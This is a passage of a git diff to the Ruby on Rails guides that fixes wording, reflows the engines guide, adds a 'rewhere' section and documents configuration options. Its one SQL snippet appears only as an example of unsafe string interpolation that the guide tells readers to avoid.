@employee.touch +Employee/Company was touched +An Employee was touched +=> true +``` + Running Callbacks ----------------- @@ -358,4 +407,4 @@ end NOTE: the `:on` option specifies when a callback will be fired. If you don't supply the `:on` option the callback will fire for every action. -The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. +WARNING. The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md index bdfcfd92ce..4725e2c8a2 100644 --- a/guides/source/active_record_querying.md +++ b/guides/source/active_record_querying.md @@ -436,7 +436,7 @@ to this code: Client.where("orders_count = #{params[:orders]}") ``` -because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. +because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection). @@ -790,6 +790,32 @@ SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC This method accepts **no** arguments. +### `rewhere` + +The `rewhere` method overrides an existing, named where condition. For example: + +```ruby +Post.where(trashed: true).rewhere(trashed: false) +``` + +The SQL that would be executed: + +```sql +SELECT * FROM posts WHERE `trashed` = 0 +``` + +In case the `rewhere` clause is not used, + +```ruby +Post.where(trashed: true).where(trashed: false) +``` + +the SQL executed would be: + +```sql +SELECT * FROM posts WHERE `trashed` = 1 AND `trashed` = 0 +``` + Null Relation ------------- diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md index cbd1ac9bdf..efa826e8df 100644 --- a/guides/source/active_record_validations.md +++ b/guides/source/active_record_validations.md @@ -337,7 +337,7 @@ set. In fact, this set can be any enumerable object. ```ruby class Account < ActiveRecord::Base validates :subdomain, exclusion: { in: %w(www us ca jp), - message: "Subdomain %{value} is reserved." } + message: "%{value} is reserved." } end ``` diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md index e6cd70b0ce..1a43bd206e 100644 --- a/guides/source/active_support_core_extensions.md +++ b/guides/source/active_support_core_extensions.md @@ -624,7 +624,7 @@ NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`. #### Module Attributes -The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes). +The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes). For example, the dependencies mechanism uses them: @@ -735,7 +735,7 @@ X.local_constants # => [:X1, :X2, :Y] X::Y.local_constants # => [:Y1, :X1] ``` -The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.) +The names are returned as symbols. NOTE: Defined in `active_support/core_ext/module/introspection.rb`. @@ -888,7 +888,7 @@ class User < ActiveRecord::Base end ``` -With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: +With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: ```ruby class User < ActiveRecord::Base @@ -1119,7 +1119,7 @@ end A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute. -NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`. +NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`. `active_support/core_ext/class/attribute_accessors.rb` is deprecated and will be removed in Ruby on Rails 4.2. ### Subclasses & Descendants @@ -2285,8 +2285,6 @@ The defaults for these options can be localized, their keys are: | `:words_connector` | `support.array.words_connector` | | `:last_word_connector` | `support.array.last_word_connector` | -Options `:connector` and `:skip_last_comma` are deprecated. - NOTE: Defined in `active_support/core_ext/array/conversions.rb`. #### `to_formatted_s` diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md index d403de5fd3..311cc23cf0 100644 --- a/guides/source/api_documentation_guidelines.md +++ b/guides/source/api_documentation_guidelines.md @@ -42,6 +42,28 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database". +Prefer wordings that avoid "you"s and "your"s. For example, instead of + +```markdown +If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods. +``` + +use this style: + +```markdown +If `return` is needed it is recommended to explicitly define a method. +``` + +That said, when using pronouns in reference to a hypothetical person, such as "a +user with a session cookie", gender neutral pronouns (they/their/them) should be +used. Instead of: + +* he or she... use they. +* him or her... use them. +* his or her... use their. +* his or hers... use theirs. +* himself or herself... use themselves. + English ------- diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md index c0482f6106..9867d2dc3f 100644 --- a/guides/source/association_basics.md +++ b/guides/source/association_basics.md @@ -864,8 +864,12 @@ end Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`. ##### `:dependent` +If you set the `:dependent` option to: -If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object _without_ calling its `destroy` method. If you set the `:dependent` option to `:restrict`, then attempting to delete this object will result in a `ActiveRecord::DeleteRestrictionError` if there are any associated objects. +* `:destroy`, when the object is destroyed, `destroy` will be called on its +associated objects. +* `:delete`, when the object is destroyed, all its associated objects will be +deleted directly from the database without calling their `destroy` method. WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database. diff --git a/guides/source/configuring.md b/guides/source/configuring.md index add8ec10a7..c30b806907 100644 --- a/guides/source/configuring.md +++ b/guides/source/configuring.md @@ -66,6 +66,9 @@ These configuration methods are to be called on a `Rails::Railtie` object, such * `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`. +* `config.beginning_of_week` sets the default beginning of week for the +application. Accepts a valid week day symbol (e.g. `:monday`). + * `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise. * `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true. @@ -129,8 +132,6 @@ numbers. New applications filter out passwords by adding the following `config.f * `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record. -* `config.beginning_of_week` sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. `:monday`). - ### Configuring Assets * `config.assets.enabled` a flag that controls whether the asset @@ -245,8 +246,14 @@ config.middleware.delete "Rack::MethodOverride" ### Configuring i18n +All these configuration options are delegated to the `I18n` library. + +* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application. + * `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`. +* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input. + * `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`. ### Configuring Active Record @@ -331,6 +338,18 @@ The schema dumper adds one additional configuration option: * `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`. +* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults +to `'http authentication'`. + +* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value. +Defaults to `'signed cookie'`. + +* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt +value. Defaults to `'encrypted cookie'`. + +* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed +encrypted cookies salt value. Defaults to `'signed encrypted cookie'`. + * `ActionDispatch::Callbacks.before` takes a block of code to run before the request. * `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`. diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md index a6956eb009..814237ba22 100644 --- a/guides/source/contributing_to_ruby_on_rails.md +++ b/guides/source/contributing_to_ruby_on_rails.md @@ -55,7 +55,7 @@ can expect it to be marked "invalid" as soon as it's reviewed. Sometimes, the line between 'bug' and 'feature' is a hard one to draw. Generally, a feature is anything that adds new behavior, while a bug is -anything that fixes already existing behavior that is mis-behaving. Sometimes, +anything that fixes already existing behavior that is misbehaving. Sometimes, the core team will have to make a judgement call. That said, the distinction generally just affects which release your patch will get in to; we love feature submissions! They just won't get backported to maintenance branches. diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb index 5beae9c29b..7c6858fa2c 100644 --- a/guides/source/credits.html.erb +++ b/guides/source/credits.html.erb @@ -76,5 +76,5 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi <% end %> <%= author('Akshay Surve', 'startupjockey', 'akshaysurve.jpg') do %> - Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and ocassionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>. + Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>. <% end %> diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml index 1bf9ff95e1..ae47744e31 100644 --- a/guides/source/documents.yaml +++ b/guides/source/documents.yaml @@ -165,6 +165,11 @@ work_in_progress: true description: This guide helps in upgrading applications to latest Ruby on Rails versions. - + name: Ruby on Rails 4.1 Release Notes + url: 4_1_release_notes.html + work_in_progress: true + description: Release notes for Rails 4.1. + - name: Ruby on Rails 4.0 Release Notes url: 4_0_release_notes.html description: Release notes for Rails 4.0. diff --git a/guides/source/engines.md b/guides/source/engines.md index 2266b1fd7f..87b0a1ac16 100644 --- a/guides/source/engines.md +++ b/guides/source/engines.md @@ -1,7 +1,9 @@ Getting Started with Engines ============================ -In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. +In this guide you will learn about engines and how they can be used to provide +additional functionality to their host applications through a clean and very +easy-to-use interface. After reading this guide, you will know: @@ -16,26 +18,59 @@ After reading this guide, you will know: What are engines? ----------------- -Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the `Rails::Application` class inheriting a lot of its behavior from `Rails::Engine`. - -Therefore, engines and applications can be thought of almost the same thing, just with subtle differences, as you'll see throughout this guide. Engines and applications also share a common structure. - -Engines are also closely related to plugins where the two share a common `lib` directory structure and are both generated using the `rails plugin new` generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the `--full` option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine **can** be a plugin, and a plugin **can** be an engine. - -The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application. - -Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as `posts_path` and use an engine also that provides a path also called `posts_path`, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide. - -It's important to keep in mind at all times that the application should **always** take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically. - -To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Forem](https://github.com/radar/forem), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine. - -Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks! +Engines can be considered miniature applications that provide functionality to +their host applications. A Rails application is actually just a "supercharged" +engine, with the `Rails::Application` class inheriting a lot of its behavior +from `Rails::Engine`. + +Therefore, engines and applications can be thought of almost the same thing, +just with subtle differences, as you'll see throughout this guide. Engines and +applications also share a common structure. + +Engines are also closely related to plugins. The two share a common `lib` +directory structure, and are both generated using the `rails plugin new` +generator. The difference is that an engine is considered a "full plugin" by +Rails (as indicated by the `--full` option that's passed to the generator +command). This guide will refer to them simply as "engines" throughout. An +engine **can** be a plugin, and a plugin **can** be an engine. + +The engine that will be created in this guide will be called "blorgh". The +engine will provide blogging functionality to its host applications, allowing +for new posts and comments to be created. At the beginning of this guide, you +will be working solely within the engine itself, but in later sections you'll +see how to hook it into an application. + +Engines can also be isolated from their host applications. This means that an +application is able to have a path provided by a routing helper such as +`posts_path` and use an engine also that provides a path also called +`posts_path`, and the two would not clash. Along with this, controllers, models +and table names are also namespaced. You'll see how to do this later in this +guide. + +It's important to keep in mind at all times that the application should +**always** take precedence over its engines. An application is the object that +has final say in what goes on in the universe (with the universe being the +application's environment) where the engine should only be enhancing it, rather +than changing it drastically. + +To see demonstrations of other engines, check out +[Devise](https://github.com/plataformatec/devise), an engine that provides +authentication for its parent applications, or +[Forem](https://github.com/radar/forem), an engine that provides forum +functionality. There's also [Spree](https://github.com/spree/spree) which +provides an e-commerce platform, and +[RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine. + +Finally, engines would not have been possible without the work of James Adam, +Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever +meet them, don't forget to say thanks! Generating an engine -------------------- -To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal: +To generate an engine, you will need to run the plugin generator and pass it +options as appropriate to the need. For the "blorgh" example, you will need to +create a "mountable" engine, running this command in a terminal: ```bash $ rails plugin new blorgh --mountable @@ -47,7 +82,8 @@ The full list of options for the plugin generator may be seen by typing: $ rails plugin --help ``` -The `--full` option tells the generator that you want to create an engine, including a skeleton structure by providing the following: +The `--full` option tells the generator that you want to create an engine, +including a skeleton structure that provides the following: * An `app` directory tree * A `config/routes.rb` file: @@ -56,7 +92,9 @@ The `--full` option tells the generator that you want to create an engine, inclu Rails.application.routes.draw do end ``` - * A file at `lib/blorgh/engine.rb` which is identical in function to a standard Rails application's `config/application.rb` file: + + * A file at `lib/blorgh/engine.rb`, which is identical in function to a + * standard Rails application's `config/application.rb` file: ```ruby module Blorgh @@ -65,7 +103,9 @@ The `--full` option tells the generator that you want to create an engine, inclu end ``` -The `--mountable` option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the `--full` option, and will add: +The `--mountable` option tells the generator that you want to create a +"mountable" and namespace-isolated engine. This generator will provide the same +skeleton structure as would the `--full` option, and will add: * Asset manifest files (`application.js` and `application.css`) * A namespaced `ApplicationController` stub @@ -88,23 +128,32 @@ The `--mountable` option tells the generator that you want to create a "mountabl end ``` -Additionally, the `--mountable` option tells the generator to mount the engine inside the dummy testing application located at `test/dummy` by adding the following to the dummy application's routes file at `test/dummy/config/routes.rb`: +Additionally, the `--mountable` option tells the generator to mount the engine +inside the dummy testing application located at `test/dummy` by adding the +following to the dummy application's routes file at +`test/dummy/config/routes.rb`: ```ruby mount Blorgh::Engine, at: "blorgh" ``` -### Inside an engine +### Inside an Engine -#### Critical files +#### Critical Files -At the root of this brand new engine's directory lives a `blorgh.gemspec` file. When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`: +At the root of this brand new engine's directory lives a `blorgh.gemspec` file. +When you include the engine into an application later on, you will do so with +this line in the Rails application's `Gemfile`: ```ruby gem 'blorgh', path: "vendor/engines/blorgh" ``` -Don't forget to run `bundle install` as usual. By specifying it as a gem within the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file and requiring a file within the `lib` directory called `lib/blorgh.rb`. This file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) and defines a base module called `Blorgh`. +Don't forget to run `bundle install` as usual. By specifying it as a gem within +the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file +and requiring a file within the `lib` directory called `lib/blorgh.rb`. This +file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) +and defines a base module called `Blorgh`. ```ruby require "blorgh/engine" @@ -113,7 +162,10 @@ module Blorgh end ``` -TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's `module` is defined is perfect for that. Place the methods inside the module and you'll be good to go. +TIP: Some engines choose to use this file to put global configuration options +for their engine. It's a relatively good idea, so if you want to offer +configuration options, the file where your engine's `module` is defined is +perfect for that. Place the methods inside the module and you'll be good to go. Within `lib/blorgh/engine.rb` is the base class for the engine: @@ -125,43 +177,94 @@ module Blorgh end ``` -By inheriting from the `Rails::Engine` class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the `app` directory of the engine to the load path for models, mailers, controllers and views. - -The `isolate_namespace` method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts are helpers. Without calling `isolate_namespace`, engine's helpers would be included in an application's controllers. - -NOTE: It is **highly** recommended that the `isolate_namespace` line be left within the `Engine` class definition. Without it, classes generated in an engine **may** conflict with an application. - -What this isolation of the namespace means is that a model generated by a call to `rails g model` such as `rails g model post` won't be called `Post`, but instead be namespaced and called `Blorgh::Post`. In addition, the table for the model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. Similar to the model namespacing, a controller called `PostsController` becomes `Blorgh::PostsController` and the views for that controller will not be at `app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced as well. - -Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide. - -#### `app` directory - -Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, `mailers`, `models` and `views` directories that you should be familiar with from an application. The `helpers`, `mailers` and `models` directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine. - -Within the `app/assets` directory, there are the `images`, `javascripts` and `stylesheets` directories which, again, you should be familiar with due to their similarity to an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too. - -Within the `app/controllers` directory there is a `blorgh` directory and inside that a file called `application_controller.rb`. This file will provide any common functionality for the controllers of the engine. The `blorgh` directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application. - -NOTE: The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines. - -Lastly, the `app/views` directory contains a `layouts` folder which contains a file at `blorgh/application.html.erb` which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's `app/views/layouts/application.html.erb` file. - -If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine. - -#### `bin` directory - -This directory contains one file, `bin/rails`, which enables you to use the `rails` sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this: +By inheriting from the `Rails::Engine` class, this gem notifies Rails that +there's an engine at the specified path, and will correctly mount the engine +inside the application, performing tasks such as adding the `app` directory of +the engine to the load path for models, mailers, controllers and views. + +The `isolate_namespace` method here deserves special notice. This call is +responsible for isolating the controllers, models, routes and other things into +their own namespace, away from similar components inside the application. +Without this, there is a possibility that the engine's components could "leak" +into the application, causing unwanted disruption, or that important engine +components could be overridden by similarly named things within the application. +One of the examples of such conflicts is helpers. Without calling +`isolate_namespace`, the engine's helpers would be included in an application's +controllers. + +NOTE: It is **highly** recommended that the `isolate_namespace` line be left +within the `Engine` class definition. Without it, classes generated in an engine +**may** conflict with an application. + +What this isolation of the namespace means is that a model generated by a call +to `rails g model`, such as `rails g model post`, won't be called `Post`, but +instead be namespaced and called `Blorgh::Post`. In addition, the table for the +model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. +Similar to the model namespacing, a controller called `PostsController` becomes +`Blorgh::PostsController` and the views for that controller will not be at +`app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced +as well. + +Finally, routes will also be isolated within the engine. This is one of the most +important parts about namespacing, and is discussed later in the +[Routes](#routes) section of this guide. + +#### `app` Directory + +Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, +`mailers`, `models` and `views` directories that you should be familiar with +from an application. The `helpers`, `mailers` and `models` directories are +empty, so they aren't described in this section. We'll look more into models in +a future section, when we're writing the engine. + +Within the `app/assets` directory, there are the `images`, `javascripts` and +`stylesheets` directories which, again, you should be familiar with due to their +similarity to an application. One difference here, however, is that each +directory contains a sub-directory with the engine name. Because this engine is +going to be namespaced, its assets should be too. + +Within the `app/controllers` directory there is a `blorgh` directory that +contains a file called `application_controller.rb`. This file will provide any +common functionality for the controllers of the engine. The `blorgh` directory +is where the other controllers for the engine will go. By placing them within +this namespaced directory, you prevent them from possibly clashing with +identically-named controllers within other engines or even within the +application. + +NOTE: The `ApplicationController` class inside an engine is named just like a +Rails application in order to make it easier for you to convert your +applications into engines. + +Lastly, the `app/views` directory contains a `layouts` folder, which contains a +file at `blorgh/application.html.erb`. This file allows you to specify a layout +for the engine. If this engine is to be used as a stand-alone engine, then you +would add any customization to its layout in this file, rather than the +application's `app/views/layouts/application.html.erb` file. + +If you don't want to force a layout on to users of the engine, then you can +delete this file and reference a different layout in the controllers of your +engine. + +#### `bin` Directory + +This directory contains one file, `bin/rails`, which enables you to use the +`rails` sub-commands and generators just like you would within an application. +This means that you will be able to generate new controllers and models for this +engine very easily by running commands like this: ```bash rails g model ``` -Keeping in mind, of course, that anything generated with these commands inside an engine that has `isolate_namespace` inside the `Engine` class will be namespaced. +Keep in mind, of course, that anything generated with these commands inside of +an engine that has `isolate_namespace` in the `Engine` class will be namespaced. -#### `test` directory +#### `test` Directory -The `test` directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at `test/dummy`. This application will mount the engine in the `test/dummy/config/routes.rb` file: +The `test` directory is where tests for the engine will go. To test the engine, +there is a cut-down version of a Rails application embedded within it at +`test/dummy`. This application will mount the engine in the +`test/dummy/config/routes.rb` file: ```ruby Rails.application.routes.draw do @@ -169,18 +272,25 @@ Rails.application.routes.draw do end ``` -This line mounts the engine at the path `/blorgh`, which will make it accessible through the application only at that path. +This line mounts the engine at the path `/blorgh`, which will make it accessible +through the application only at that path. -In the test directory there is the `test/integration` directory, where integration tests for the engine should be placed. Other directories can be created in the `test` directory as well. For example, you may wish to create a `test/models` directory for your models tests. +Inside the test directory there is the `test/integration` directory, where +integration tests for the engine should be placed. Other directories can be +created in the `test` directory as well. For example, you may wish to create a +`test/models` directory for your model tests. Providing engine functionality ------------------------------ -The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists. +The engine that this guide covers provides posting and commenting functionality +and follows a similar thread to the [Getting Started +Guide](getting_started.html), with some new twists. -### Generating a post resource +### Generating a Post Resource -The first thing to generate for a blog engine is the `Post` model and related controller. To quickly generate this, you can use the Rails scaffold generator. +The first thing to generate for a blog engine is the `Post` model and related +controller. To quickly generate this, you can use the Rails scaffold generator. ```bash $ rails generate scaffold post title:string text:text @@ -195,7 +305,8 @@ create app/models/blorgh/post.rb invoke test_unit create test/models/blorgh/post_test.rb create test/fixtures/blorgh/posts.yml - route resources :posts +invoke resource_route + route resources :posts invoke scaffold_controller create app/controllers/blorgh/posts_controller.rb invoke erb @@ -220,11 +331,22 @@ invoke css create app/assets/stylesheets/scaffold.css ``` -The first thing that the scaffold generator does is invoke the `active_record` generator, which generates a migration and a model for the resource. Note here, however, that the migration is called `create_blorgh_posts` rather than the usual `create_posts`. This is due to the `isolate_namespace` method called in the `Blorgh::Engine` class's definition. The model here is also namespaced, being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due to the `isolate_namespace` call within the `Engine` class. +The first thing that the scaffold generator does is invoke the `active_record` +generator, which generates a migration and a model for the resource. Note here, +however, that the migration is called `create_blorgh_posts` rather than the +usual `create_posts`. This is due to the `isolate_namespace` method called in +the `Blorgh::Engine` class's definition. The model here is also namespaced, +being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due +to the `isolate_namespace` call within the `Engine` class. -Next, the `test_unit` generator is invoked for this model, generating a model test at `test/models/blorgh/post_test.rb` (rather than `test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` (rather than `test/fixtures/posts.yml`). +Next, the `test_unit` generator is invoked for this model, generating a model +test at `test/models/blorgh/post_test.rb` (rather than +`test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` +(rather than `test/fixtures/posts.yml`). -After that, a line for the resource is inserted into the `config/routes.rb` file for the engine. This line is simply `resources :posts`, turning the `config/routes.rb` file for the engine into this: +After that, a line for the resource is inserted into the `config/routes.rb` file +for the engine. This line is simply `resources :posts`, turning the +`config/routes.rb` file for the engine into this: ```ruby Blorgh::Engine.routes.draw do @@ -232,12 +354,22 @@ Blorgh::Engine.routes.draw do end ``` -Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory) section. It also causes the engine's routes to be isolated from those routes that are within the application. The [Routes](#routes) section of -this guide describes it in details. +Note here that the routes are drawn upon the `Blorgh::Engine` object rather than +the `YourApp::Application` class. This is so that the engine routes are confined +to the engine itself and can be mounted at a specific point as shown in the +[test directory](#test-directory) section. It also causes the engine's routes to +be isolated from those routes that are within the application. The +[Routes](#routes) section of this guide describes it in detail. -Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::PostsController` (at `app/controllers/blorgh/posts_controller.rb`) and its related views at `app/views/blorgh/posts`. This generator also generates a test for the controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper (`app/helpers/blorgh/posts_controller.rb`). +Next, the `scaffold_controller` generator is invoked, generating a controller +called `Blorgh::PostsController` (at +`app/controllers/blorgh/posts_controller.rb`) and its related views at +`app/views/blorgh/posts`. This generator also generates a test for the +controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper +(`app/helpers/blorgh/posts_controller.rb`). -Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module: +Everything this generator has created is neatly namespaced. The controller's +class is defined within the `Blorgh` module: ```ruby module Blorgh @@ -247,7 +379,8 @@ module Blorgh end ``` -NOTE: The `ApplicationController` class being inherited from here is the `Blorgh::ApplicationController`, not an application's `ApplicationController`. +NOTE: The `ApplicationController` class being inherited from here is the +`Blorgh::ApplicationController`, not an application's `ApplicationController`. The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced: @@ -259,38 +392,63 @@ module Blorgh end ``` -This helps prevent conflicts with any other engine or application that may have a post resource as well. +This helps prevent conflicts with any other engine or application that may have +a post resource as well. -Finally, two files that are the assets for this resource are generated, `app/assets/javascripts/blorgh/posts.js` and `app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little later. +Finally, the assets for this resource are generated in two files: +`app/assets/javascripts/blorgh/posts.js` and +`app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little +later. -By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/layouts/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout: +By default, the scaffold styling is not applied to the engine because the +engine's layout file, `app/views/layouts/blorgh/application.html.erb`, doesn't +load it. To make the scaffold styling apply, insert this line into the `<head>` +tag of this layout: ```erb <%= stylesheet_link_tag "scaffold" %> ``` -You can see what the engine has so far by running `rake db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `rails server` in `test/dummy`. When you open `http://localhost:3000/blorgh/posts` you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions. +You can see what the engine has so far by running `rake db:migrate` at the root +of our engine to run the migration generated by the scaffold generator, and then +running `rails server` in `test/dummy`. When you open +`http://localhost:3000/blorgh/posts` you will see the default scaffold that has +been generated. Click around! You've just generated your first engine's first +functions. -If you'd rather play around in the console, `rails console` will also work just like a Rails application. Remember: the `Post` model is namespaced, so to reference it you must call it as `Blorgh::Post`. +If you'd rather play around in the console, `rails console` will also work just +like a Rails application. Remember: the `Post` model is namespaced, so to +reference it you must call it as `Blorgh::Post`. ```ruby >> Blorgh::Post.find(1) => #<Blorgh::Post id: 1 ...> ``` -One final thing is that the `posts` resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the `config/routes.rb` file inside the engine: +One final thing is that the `posts` resource for this engine 